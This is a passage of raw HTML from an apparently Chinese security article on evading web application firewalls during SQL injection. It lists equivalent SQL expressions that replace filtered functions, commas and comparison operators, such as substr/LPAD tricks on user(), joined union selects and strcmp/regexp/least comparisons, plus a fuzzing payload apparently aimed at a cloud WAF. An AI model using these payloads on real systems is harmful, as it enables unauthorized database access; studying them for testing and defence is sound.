break-word;">Oracle11:</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><img data-ratio="0.488245931283906" style="border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=f611e826&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQcQbNXaiaNY71uSS6suWxrzic8l9TBJp2iampnatNwuWbr6GySHlNP0zUg%2F640%3Fwx_fmt%3Dpng"/><br/></p></li><li><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">MSSQL :</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><img data-ratio="0.2115732368896926" style="border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=8cf4d405&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQw2NunOg1V79mc13YUaXiaJgXjyrKv48NpkOtWMgPTjOAiayjY7C2ib6Yw%2F640%3Fwx_fmt%3Dpng"/><br/></p></li></ul><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;white-space: normal;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;text-size-adjust: auto;"><strong>2.1.3 等价替换</strong></h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">waf会对一些常见的攻击语句进行拦截，这个时候我们不一定非得正面硬杠，可以挖掘寻找一些生僻的具有相同功能的语句进行代替替换，这也是绕waf的常用手段。以下部分是对SQL查询表达式、函数等其他查询语句等价功能的一个总结，有些来自互联网，有些是自己的研究。</p><ul style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;" class="list-paddingleft-2"><li><p><span style="font-weight: bolder;">函数替换</span></p></li></ul><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">截取字符串是SQL注入利用技术里面的常用功能，通常使用mid(string,1,1)　</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4517304189435337" data-s="300,640" style="" data-type="png" data-w="549" src="https://wechat2rss.xlab.app/img-proxy/?k=d95d4a67&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQo5LZGTInSt4OpxibuPgTaM9jLiaSzpTdTS5VF0aepEoDrZ6XibdnYG3pQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><span style="font-weight: bolder;">|substr(user() fro</span><span style="font-weight: bolder;">m 1 for 1);|</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.33393501805054154" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=e9795fe8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQA3z2Vzyyh4n8pQww4aaC6xVlEuqK0RO7J5uwct7otjyYvAJyyIXxgQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><span style="font-weight: bolder;">|replace(LPAD(user(),2,1),LPAD(user(),2-1,1),””);|</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.40138067061143984" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="1014" src="https://wechat2rss.xlab.app/img-proxy/?k=82dfb543&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQWnQic1BMVEV9qUQyyuM1nh9IVw0njaX0Dn0icmRZubDuVUMv3gAdr8HQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><span style="font-weight: bolder;">|LPAD(REVERSE(TRIM( lpad(user(),1,SPACE(1)) )),1,SPACE(1);|</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.4088050314465409" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="1113" src="https://wechat2rss.xlab.app/img-proxy/?k=bb5e4add&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQe7LWl374348I78C4bHOHHmaIo4CDXeDcM0KEyppCMoiarYLF6ic8YJiaw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">ascii(c)、ord(c) &lt;=&gt; conv(hex(c),16,10)</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.4780023781212842" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="841" src="https://wechat2rss.xlab.app/img-proxy/?k=f7e6a4f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQW0TGMicW65GQW4WXjAdME0mQk2tb5V7zfl6mJj1TGNRP1Bg0yamKic5g%2F640%3Fwx_fmt%3Dpng"/><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;"></span><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">对于函数过滤的情况可以通过官方文档所有API函数，使用index.php?id=1 xor user()进行fuzz,以下是百度云 fuzz的结果</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.5132275132275133" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="756" src="https://wechat2rss.xlab.app/img-proxy/?k=e3de7b4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQSxcdjOGWhTvGZbhkZ7O1v8eyZn7wbgQichXPibxTc69A3pibFh1Jbx12Q%2F640%3Fwx_fmt%3Dpng"/><br/></p><ul style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;" class="list-paddingleft-2"><li><p><span style="font-weight: bolder;">逗号过滤</span></p></li></ul><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">有时候逗号也会被waf拦截或过滤，可以通过不含引号的SQL语句代替<br/><span style="font-weight: bolder;">case when 代替if</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.3542402826855124" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="1132" src="https://wechat2rss.xlab.app/img-proxy/?k=1f01d424&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQCiboB6QTH71nTeCaVf9rAEBJ3yFFgrGiaFWf8FpGf2ibhiaYt1U4wpia67A%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><span style="font-weight: bolder;">union select 1,2,3 &lt;=&gt;<br/>union select * from (select 1)a join (select 2)b join (select 3)c</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.33546617915904936" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="1094" src="https://wechat2rss.xlab.app/img-proxy/?k=6a1d82bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQn5B7IcRgcTmIB50Vepg74w2icnKIYTEWXuOOy8C4AhH3zIYqyoeIOcw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><span style="font-weight: bolder;">limit 2,1 &lt;=&gt;limit 1 offset 2</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6478494623655914" data-s="300,640" style="" data-type="png" data-w="744" src="https://wechat2rss.xlab.app/img-proxy/?k=7c175bd2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQYGrffjWzG3ic7QXtS8S76e5bX19RFGCUgib8RRYdNdlXVXD8V7s0O5zg%2F640%3Fwx_fmt%3Dpng"/></p><ul style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;" class="list-paddingleft-2"><li><p><span style="font-weight: bolder;">比较表达式代替</span></p></li></ul><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">【=】</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><span style="font-weight: bolder;">if(abs(strcmp((ascii(mid(user()from(1)for(2)))),114))-1,1,0)</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.42983316977428854" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="1019" src="https://wechat2rss.xlab.app/img-proxy/?k=4afa66a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQSBU5fgS3uw1WeKLg0S4Ic7ReXZBiaPNEYlkDZqamNO7TTVDR9WySKCw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><span style="font-weight: bolder;">find_in_set()</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.5111336032388664" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="988" src="https://wechat2rss.xlab.app/img-proxy/?k=41a152ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQzhicP3iba5vWutvpj7RQ86qwPC9zG5aL7T7gS8ndQAyznrX7Qpe5lhyQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><span style="font-weight: bolder;">regexp</span></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.742603550295858" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="676" src="https://wechat2rss.xlab.app/img-proxy/?k=844e796b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQxnQnTAm6O5mKlqhLnU02UTaAib1vg6dLn3JszX4boARtAKS6ZKu3Taw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;">【&lt;,&gt;】</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><span style="font-weight: bolder;">least(ord(‘r’),115)、greatest(ord(‘r’),113)</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6654611211573237" data-s="300,640" style="" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=3b2b5431&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQl1k6S8ZlhicTM6WZwFhFXIMiawEpLVJn5ib62qSEp4428gxwPsqt8tGfw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><span style="font-weight: bolder;">between n and m</span><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;text-size-adjust: auto;"><img data-ratio="0.5205949656750573" style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;border-style: none;padding-top: 0.5em;padding-bottom: 0.5em;" data-type="png" data-w="874" src="https://wechat2rss.xlab.app/img-proxy/?k=fb8b984f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQcylxCicwD2S2R3jxE8Q1FwfQTyXocYXtluGXMvpDw9BUmTibXHccGLMA%2F640%3Fwx_fmt%3Dpng"/><br/></p><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;text-size-adjust: auto;"><strong>2.2 核心</strong></h2><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;caret-color: rgb(68, 68, 68);color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, 